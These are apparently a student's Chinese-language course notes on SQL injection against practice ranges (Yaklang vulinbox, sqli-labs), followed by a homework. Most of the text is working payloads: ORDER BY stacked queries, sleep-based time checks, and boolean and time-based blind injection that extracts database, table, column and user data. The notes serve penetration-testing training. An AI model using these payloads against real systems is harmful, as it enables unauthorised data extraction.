源码-https://github.com/yaklang/yakla ... ulinbox/vul_sqli.go
sqlit注入总结-https://blog.csdn.net/2201_75824562/article/details/139362754
sql注入思路-先判断那里可以sql注入点-在判断闭合与注入方式-SQL语句获取相关信息
sql-13
ORDER注入:单个条件排序位于 LIMIT 之前
原语句
"select * from vulin_users where (username LIKE '%a%') ORDER BY username desc LIMIT 5;"
攻击示例语句
GET /user/limit/4/order1?order={{urlenc(desc --)}}&debug=1 HTTP/1.1
http://192.168.3.2:8787/user/limit/4/order1?order=desc --&debug=1
如果查询语句在前端界面显示不出来如何判断是否存在注入点
GET /user/limit/4/order1?order={{urlenc(desc;select 1,2,3,4,5,6)}}&debug=1 HTTP/1.1
可以用sleep()操作看看响应是否有延迟效果
GET /user/limit/4/order1?order={{urlenc(desc;select sleep(10) --)}}&debug=1 HTTP/1.1
http://192.168.3.2:8787/user/limit/4/order1?order=desc;select sleep(6) --&debug=1
工具后期介绍可以跑出来
group_concat(tbl_name)-这个函数能把括号里地数据全部拼接展示出来
type='table' -相当于split重要库表
GET /user/limit/4/order1?order={{urlenc(desc;select group_concat(tbl_name) from sqlite_master where type='table' --)}}&debug=1 HTTP/1.1
sql-14
ORDER注入:多条件排序位于 LIMIT 之前
原语句
"select * from vulin_users where (username LIKE '%a%') ORDER BY username desc, created_at LIMIT 5;"
攻击示例语句
GET /user/limit/4/order2?order={{urlenc(desc;select sleep(5)--)}}&debug=1 HTTP/1.1
sql-15
注入:多条件排序位(无LIMIT)
原语句
"select * from vulin_users where (username LIKE '%a%') ORDER BY created_at desc, username desc;"
攻击示例语句
GET /user/order3?order={{urlenc(desc;select sleep(5))}} HTTP/1.1
sql-16
ORDERBY 注入:多字段
原语句
"select * from vulin_users where (username LIKE '%a%') ORDER BY username desc LIMIT 5;"
攻击示例语句
GET /user/limit/4/orderby?orderby={{urlenc(username;select * from vulin_users --)}}&debug=1 HTTP/1.1
sql-17
ORDER BY注入:反引号+排序
原语句
"select * from vulin_users where (username LIKE '%a%') ORDER BY `id` desc LIMIT 5;"
攻击示例语句
GET /user/limit/4/orderby1?orderby={{urlenc(id`;select sleep(5) --)}}&debug=1 HTTP/1.1
sql-18
ORDER BY 注入:反引号+多字段
原语句
"select * from vulin_users where (username LIKE '%a%') ORDER BY `id`,created_at LIMIT 5;"
攻击示例语句
GET /user/limit/4/orderby2?orderby={{urlenc(id`;select sleep(5) --)}}&debug=1 HTTP/1.1
sql-19
时间盲注
原语句
攻击示例语句-布尔盲注
GET /Less-8/?id=1' and length(database())=8 --+ HTTP/1.1 判断数据库长度
GET /Less-8/?id=1' and ascii(substr(database(),{{int(1-10)}},1))={{int(27-126)}} --+ HTTP/1.1
GET /Less-8/?id=1' and ascii(substr(database(),1,1))>200 --+ HTTP/1.1
GET /Less-8/?id=1' and ascii(substr(database(),1,1))={{int(27-126)}} --+ HTTP/1.1
GET /Less-8/?id=1' and ascii(substr(database(),2,1))={{int(27-126)}} --+ HTTP/1.1
攻击示例语句-时间盲注
GET /Less-10/?id=1" and sleep(5) --+ HTTP/1.1
if(1,2,3) 1:条件 2:满⾜条件⼲嘛 3:不满⾜⼲嘛
count() 返回指定内容的个数
and if((select count(table_name) from information_schema.tables where
table_schema=database())=5,sleep(5),3) --+
语句里得3相当于占位符啥也不做
盲注
什么是盲注:有时⽬标存在注⼊,但在⻚⾯上没有任何回显,此时,我们需要利⽤⼀些⽅法进⾏判断或者尝试得
到数据,这个过程称之为盲注
盲注分类
布尔盲注 8
布尔很明显True和false,它只会根据你的注⼊信息返回True和False,也就没有了之前的报错信息
前端界面对啦就展示不对就啥也不展示
时间盲注 5
界⾯返回值只有⼀种True,⽆论输⼊任何值,返回情况都会按照正常来处理。加⼊特定的时间函数,通过查
看web⻚⾯返回的时间差来判断注⼊的语句是否正确
Ascii()
subst()
select ascii(substr(database(),1,1))
select length(database())-判断数据库名长度
布尔盲注流程
判断注⼊点
判断闭合
判断⻓度
猜解库名、表名、列名、具体数据
时间盲注
延时盲注其实和布尔盲注其实没有什么太⼤的区别,只不过是⼀个依靠⻚⾯是否正常判断,⼀个是否延时判断,在
操作上其实也差不多,只不过延时多⼀个if()
4-确认表名⻓度(时间盲注不需要知道数据库名)
格式:and if(length(查询语句)=表名⻓度,sleep(5),3) --+eee
第⼀个表⻓度:limit 0,1
and if(length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=6,sleep(5),3)--+eee
第⼆个表⻓度:limit 1,1
and if(length((select table_name from information_schema.tables where
table_schema=database() limit 1,1))=6,sleep(5),3)--+eee
5-确认表名
格式:and if(ascii(substr((查询语句 limit 1,1),1,1))=编码值,sleep(5),22)
and if (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=101,sleep(5),3) --+eee
6-确认列名
and if (ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 0,1),1,1))=105,sleep(5),3) --+eee
7-确认数据内容
?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))>1,sleep(5),3)--+
WEB渗透测试工程师系统班250303期 第15节课作业 1. 实际操作课堂讲解的yakit sql注入靶场,截图 2. 布尔盲注的原理是什么 布尔很明显True和false,它只会根据你的注⼊信息返回True和False,也就没有了之前的报错信息
3. 时间盲注的原理是什么 界⾯返回值只有⼀种True,⽆论输⼊任何值,返回情况都会按照正常来处理。加⼊特定的时间函数,通过查
看web⻚⾯返回的时间差来判断注⼊的语句是否正确
|